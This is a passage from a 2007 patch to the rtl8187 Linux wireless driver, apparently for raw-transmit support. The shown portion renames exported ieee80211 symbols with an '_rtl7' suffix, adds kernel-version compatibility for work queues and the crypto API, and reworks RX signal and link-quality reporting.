***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2381,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2399,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2419,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2430,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2443,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2553,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2572,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2594,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2642,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2659,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2676,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2689,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2704,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-06-08 23:30:29.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,16 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +166,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +179,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +233,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,18 +247,18 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-06-08 23:30:47.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit 